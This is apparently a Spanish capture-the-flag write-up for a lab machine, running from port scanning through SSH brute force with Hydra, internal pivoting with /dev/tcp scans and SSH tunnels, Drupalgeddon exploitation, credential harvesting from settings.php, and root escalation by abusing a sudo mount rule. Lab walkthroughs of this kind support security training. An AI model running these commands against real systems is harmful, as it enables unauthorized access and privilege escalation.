> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/thehackerslabs/avanzado/pa-que-aiga-lujo.md).

# Pa Que Aiga Lujo

<figure><img src="/files/bpCynYZof08N1v0BakPI" alt=""><figcaption></figcaption></figure>

## 1. Reconocimiento

Comenzamos realizando un escaneo de puertos con Nmap para identificar los servicios abiertos.

### **Nmap**

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 192.168.1.70
```

```bash
PORT   STATE SERVICE REASON          VERSION
22/tcp open  ssh     syn-ack ttl 128 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
80/tcp open  http    syn-ack ttl 128 Apache httpd 2.4.62 ((Debian))
|_http-title: LuxeCollection - Art\xC3\xADculos de Lujo Exclusivos
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

## 2. Análisis Web

<figure><img src="/files/5r91aJYO5rKc9uAGwsmE" alt=""><figcaption></figcaption></figure>

Despues de un rato buscando usamos todos los nombre y probamos fuerza bruta por ssh

## 3. Brutteforce

### Hydra

```bash
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.70 -t 4
```

```bash
[22][ssh] host: 192.168.1.70   login: Sophia   password: dolphins
```

## 4. Acceso inicial

<figure><img src="/files/7KyYy5JxsSoRygtVYUgu" alt=""><figcaption></figcaption></figure>

Dentro de la maquina no parece que podamos escalar privilegios, el unico dato relebante es el usuario `cipote`

Por lo que vamos a buscar en la red a ver si hay más maquinas para pivotar

```bash
for i in {1..10}; do (ping -c 1 -W 1 172.17.0.$i &>/dev/null && echo "[+] 172.17.0.$i está VIVO") & done; wait
```

El host **172.17.0.2**

```bash
target="172.17.0.2"; for port in 21 22 80 443 3306 6379 8080 44055; do (echo > /dev/tcp/$target/$port) >/dev/null 2>&1 && echo "[!] Puerto $port ABIERTO en $target" & done; wait
```

```bash
[!] Puerto 80 ABIERTO en 172.17.0.2
```

Vemos que tiene el puerto 80 abierto

Como no tenemos curl

```bash
exec 3<>/dev/tcp/172.17.0.2/80
echo -e "GET / HTTP/1.1\r\nHost: 172.17.0.2\r\nConnection: close\r\n\r\n" >&3
cat <&3
```

* **Sistema Operativo:** Debian.
* **Servidor Web:** Apache/2.4.25.
* **Lenguaje:** PHP/7.2.3.
* **Gestor de Contenido (CMS):** **Drupal 8**.

  ```bash
  X-Generator: Drupal 8 (<https://www.drupal.org>)<h1>Welcome to Find your own Style</h1>
  ```

Drupal 8 es famoso en el mundo del pentesting por una vulnerabilidad crítica con un nombre muy peliculero: `Drupalgeddon`. Esta vulnerabilidades permiten ejecución remota de comandos (RCE) sin necesidad de autenticación.

Tunelizamos

```bash
ssh -L 8080:172.17.0.2:80 Sophia@192.168.1.70
```

<figure><img src="/files/wNcw2ZvRKhibAsW2bjsr" alt=""><figcaption></figcaption></figure>

Metasploit

```bash
ssh -D 9050 Sophia@192.168.1.70
Sophia@192.168.1.70's password: 
Linux TheHackersLabs-PaQueAigaLujo 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Mar 24 22:32:40 2026 from 127.0.0.1
Sophia@TheHackersLabs-PaQueAigaLujo:~$ channel 4: open failed: connect failed: Connection refused
```

<figure><img src="/files/ltGaBYCz1Ar9LTnXVWgK" alt=""><figcaption></figcaption></figure>

Ahora somos el user www-data

### Escalado de piv (www-data a ballenita)

<figure><img src="/files/MWFdXx74ooUqNcRCgdvk" alt=""><figcaption></figcaption></figure>

```bash
cat sites/default/settings.php
```

```bash
 *   'username' => 'ballenita',
 *   'password' => 'ballenitafeliz', //Cuidadito cuidadín pillin
```

```bash
ballenita@76f1a1515e36:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for ballenita on 76f1a1515e36:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ballenita may run the following commands on 76f1a1515e36:
    (root) NOPASSWD: /bin/ls, /bin/grep
```

```bash
ballenita@76f1a1515e36:/var/www/html$ sudo -u root ls /root
sudo -u root ls /root
secretitomaximo.txt
```

```bash
ballenita@76f1a1515e36:/var/www/html$ sudo -u root grep '' /root/secretitomaximo.txt         
<tml$ sudo -u root grep '' /root/secretitomaximo.txt
ElcipotedeChocolate-CipotitoCipoton
```

<figure><img src="/files/1lDGlUSSqnxPw7drtgFi" alt=""><figcaption></figcaption></figure>

```bash
cipote@TheHackersLabs-PaQueAigaLujo:~$ sudo -l
Matching Defaults entries for cipote on TheHackersLabs-PaQueAigaLujo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cipote may run the following commands on TheHackersLabs-PaQueAigaLujo:
    (ALL) NOPASSWD: /usr/bin/mount
```

```bash
cipote@TheHackersLabs-PaQueAigaLujo:~$ sudo /usr/bin/mount --bind /bin/sh /usr/bin/mount
cipote@TheHackersLabs-PaQueAigaLujo:~$ sudo /usr/bin/mount
# id
uid=0(root) gid=0(root) grupos=0(root)
```